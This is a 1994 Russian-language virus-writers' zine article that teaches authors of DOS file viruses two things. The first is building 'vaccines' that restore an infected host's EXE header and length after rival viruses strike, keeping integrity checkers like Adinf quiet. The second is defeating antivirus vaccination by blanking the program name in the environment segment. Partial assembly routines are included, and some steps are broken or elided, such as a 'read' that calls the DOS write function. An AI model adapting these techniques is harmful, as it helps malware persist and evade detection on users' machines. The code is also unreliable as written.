█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀					    ▀	       ███▀▀███
█ STEALTH group	█░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ████▀▄██
█   presents	█░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  ███▄▄███
 ░░░░░░░░░░░░░░░░░                                                     DEC 1994
 ITEM_4. (C)LovinGOD										
					                                                                            
		    Защита вируса от конкурентов. Вакцина.  
				...Серьезным Virmaker'aм посвящается.
			

	Не о вирусах семейства Vacsine, любящих откусывать себе всякие
	нужные органы, я буду рассказывать. И не о том, как сделать файлу
	60 секунд или дописать в конец "MsDos" для раздражения всеми любимого
	AntiTime, а о сохранении файлового здоровья и нервов юзера,
	издерганного уже не сторожами ( их мы уже немного научились обходить),
	а всякими Adinf'ами и может даже такими заShitниками, как
	один ну оччень дорогой (курс 1:1054) и любимый всеми не нами полиФаг.
	Так вот, прийдется нам их немного оставить без работы - сами будем
	файлы лечить. Нет, с крышей у меня все в порядке, - не теКет оттуда
	ни Tequila, ни Оболонское... Давайте лучше представим такую вот
	картину: Stealth-Phantom важно сидит в файле, по нему сверху Adinf,
	скажем, прошелся, пачпорт ему выдал ( с пропиской ), а тут... вламы-
	вается какая-нибудь мелюзга типа COM-нерезидент и плюх - рядом. Шум,
	крик , юзер в истерике, антивирусники на вопли 	сбежались, взяли
	мелкого - на NUL выкинули, в Aidstest посадили,
	полезли дальше - глазами doubleClick, очки платочком Cls, рука к
	телефону - ATDT911, понаехало кранов башенных, в Aidstest не лезет,
	он после этого ездить не сможет, в WEB его, а WEB может и сам того,
	с инхвекцией... ;) А проще - дать всем юзерам команду - у всех файлов,
	на которые Adinf не ругается, документики перепроверить, аль попроще:
	DEL *.COM,EXE,OVL,SYS... 
	Помните- если доктор полезет за мышкой, он и газету найдет, правда,не
	"Известия", а какой-нибудь "ComputerWorld"...
	Прийдется в свете всего этого заняться ассенизацией (немного). Профес-
	сионалы этого дела могут тоже почитать, я разрешаю. Возможностей у них
	поболе будет - диск безразмерный( если вирусы все место не займут , 
	памяти - навалом, времени- тоже), посему им проще. Однако ничего у них
	не выйдет, так как Юзер Бестолковый ничего, цепляющегося к файлам не
	допустит, даже лечилку, кроме как если мы ему ничего не скажем ;)

	ВАКЦИНЫ. Я выделил два типа (и выкинул типа "MsDos" в конце и 62 сек.)

	      1. РЕДУПЛИКАТИВНЫЕ

		 В файле-носителе хранится копия той его критической части,
		 куда любят влезать вирусы, в данном случае - нарушители
		 конвенции. ( EXE-заголовок, точка входа ). При несовпадении 
		 копии с оригиналом - возвращаем старые байты на место.

		 Метод не действует, если вирус внедрился в начало целиком и
		 двадцати байт недостаточно для восстановления, или еще как-то.
		 В этом случае прийдется смириться с ним или Врагу не сдается
		 наш гордый Виряг...
		
		 Преимущество метода в скорости и небольших (20-30 байт) 
		 обращениях к диску.			

  Vacsine1 PROC	
	GetName:			
		mov bx,ds:[002Ch]	; PSP:002C - EnVIRonment сегмент
		mov es,bx		; 

		mov cx,0FFFFh		; сканируем на  dw 0
		xor ax,ax		
		xor di,di
	mmm:	repne scasb		; es:di 
		scasb
		jnz mmm
		add di,2		; es:di = путь и имя запущенного файла
	FOpen:
		push ds				
		push es			; ds - сегмент с именем файла
		pop  ds
		mov ax,3D02h
		mov dx,di		; смещение имени 
		int 21h
		pop  ds
		mov bx,ax
	FRead:
		mov cx,20h
		mov dx,offset TestBuffer
		mov ah,40h
		int 21h
Comparsion:
	mov cx,18h
	mov si,offset Original
	mov di,offset TestBuffer
	cld
	repe cmpsb
	jz  TheSame		; не найдено различий	
  Changed:
	; Начало файла было изменено, но неизвестно, только ли первые
	; 18h байт. Здесь обнаруживается недостаток данного способа.
	; Давайте допустим, что если 18h-й байт изменился, то измене-
	; ния идут дальше. Можно для подобной проверки хранить 50й или
	; 100й байты файла, но тогда прийдется считывать еще кусок.  
	; В этом случае ничего не изменишь. Можно или испортить файл
	; (нечаянно), или отформатить чудовище всеми головками (спе-
	; циально) - или обратиться к более медленному, но более вер-
	; ному способу номер 2 - я обзову его еще хуже, потерпите -
	; узнаете как.

	; С EXE-файлом все ясно : можно уверенно восстанавливать заго-
	; ловок (вот почему я рекомендую 18h байт !) 

     mov ax,4200h
     xor cx,cx
     xor dx,dx 
     int 21h		  		   		
     mov ah,40h
     mov dx,offset Original
     mov cx,18h
     int 21h	   ; проще спаренной REPы - сбросили ! Или филе
		   ; искалечили - он итак был искалечен - чужим виром.
		   ; Кому куда больше нравится.
		   ; Обрежем по прежней длине
     mov cx,OldLen+2	;   	
     mov dx,OldLen		
     mov ax,4200h
     int 21h
     mov ah,40h	   ; пишем 0 байт по адресу прежнего конца файла (обрезание
		   ; незвисимо от религии, пола и возраста )
     xor cx,cx	
     int 21h						     
		
     jmp Exit

     TheSame:	   ; вроде порядок . Для COM.
		   ; для EXE прийдется проверить EntryPoint - если заголовок
		   ; не меняли, может там что тихо притаилось. Для этого еще
		   ; один буфер хранить надо будет. Мааленький.
     IsEXE:
	cmp TestBuffer,'MZ'
	je  TestEntry
	cmp TestBuffer,'ZM'
	jne Exit
		
     TestEntry:    	
	mov si,offset TestBuffer	; адрес заголовка
        call EvalOffset  	 	; вычисляем смещение, по которому в файле находится EntryP.
				
     ... 	  ; АНАЛОГИЧНО СВЕРЯЕМ ПОДЛИННИК С ТЕМ, ЧТО ИМЕЕМ	
     Exit:
	retn				\|/	
     VACSINE1 ENDP			 ▌
			 ╔═══════════════▌═══════╗
			 ║ РЕКРЕАЦИОННЫЕ Вакцины.║
			 ╚══════════════▌█▓══════╝
					█▌▓
       Можно не хранить ничего в своем 	▄▄▄  теле. Как только наш вирус полу-
  чает управление на себя , ясно,  что в памяти его только что вылечили. 
  ( Если кто из коллег обиделся на разглашение мной таких важных(?)данных, могу
  дать совет, как сделать так , чтобы "больной файл" больше никогда не жаловался
  на здоровье после такого вот лечения - наша медицина ЭТО умеет. В конце-
  концов - обыкновенный STEALTH механизм тут поможет )
       Достаточно запомнить оригинальную длину, и заголовок для EXEшника.
       Для COM файла - он повторно создается и сбрасывается на диск согласно
  размеру, начиная с 0100h. 
       Для EXE файла - сложнее. 

       Как известно, при старте EXE-файла (DS+10h):0000 равно 0000:0000	
  относительно начала исполняемой части файла. 
       Поместите в начало своей программы команды, определяющие стартовый
  адрес:	call $+2
		pop  si	             (А лучше это как-нибудь замаскировать)
       CS:SI содержат Entry Point этого файла. Теперь отнимите DS+10h от CS
  и вы получите тот Entry Point, который должен стоять в заголовке для того,
  чтобы управление передавалось на ваш вирус.  Модифицируйте заголовок и все
  архитектурные излишества самоликвидируются. Эту процедуру напишите сами, 
  потому как для меня пока это предмет чисто теоретического исследования.

-----------------------------------------------------------------------------

 2. Как же защититься от вакцинирования ?

  Элементарная защита от вакцины:   ЗАБИВАНИЕ ИМЕНИ ИСПОЛНЯЮЩЕГОСЯ ФАЙЛА
				    В ENVIRONMENT SEGMENTе. 
  Реакция разная - Aidstest ... ()
		 - CentralPointAntiVirus Vacsine ( кстати, она еще и "MsDos"
 		   в конец ставит) делает вид, будто ничего не произошло.

  Побочный отрицательный эффект - конфликт с вирусом, хранящим свои "оверлеи"
  в зараженном файле. 

  Код:
	mov ah,51h
	call Int21Call		; Получить активный PSP
 GetActiveName:
	mov es,bx
	mov bx,es:[002Ch]
	mov es,bx		; EnvSeg of active PSP

	mov cx,0FFFFh
	xor ax,ax
	xor di,di
  mmm:	repne scasb		; es:di ?
	scasb
	jnz mmm
	add di,2		; es:di=name
	xor ax,ax
	stosw			; забиваем нулем начало имени


Процедуры.
-----------
					; Вычисление смещения EntryPoint в EXE
    EvalOffset PROC			; на вход: SI=адрес заголовка
					
	mov ax,[si+8]			; размер заголовка в 16б параграфах
	add ax,[si+16h]			; смещение CS
	mov cx,10h			; множим
	mul cx				
	add ax,[si+EXEIP]		; плюс IP
	adc dx,0			; DX:AX = смещение EntryPoint в файле 
	retn
    EvalOffset ENDP

------------------------------- 
P.S. Мне пришлось немного исправить данную статью, поскольку она содержала 
     ошибку в процедуре нахождения имени файла в Environment: 
     команда SCASW не подойдет, т.к. она сканирует только слова, стоящие по
     четным смещениям. Приношу свои извинения, буду благодарен, если кто найдет
     глюки и сообщит мне. LovinGOD.
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
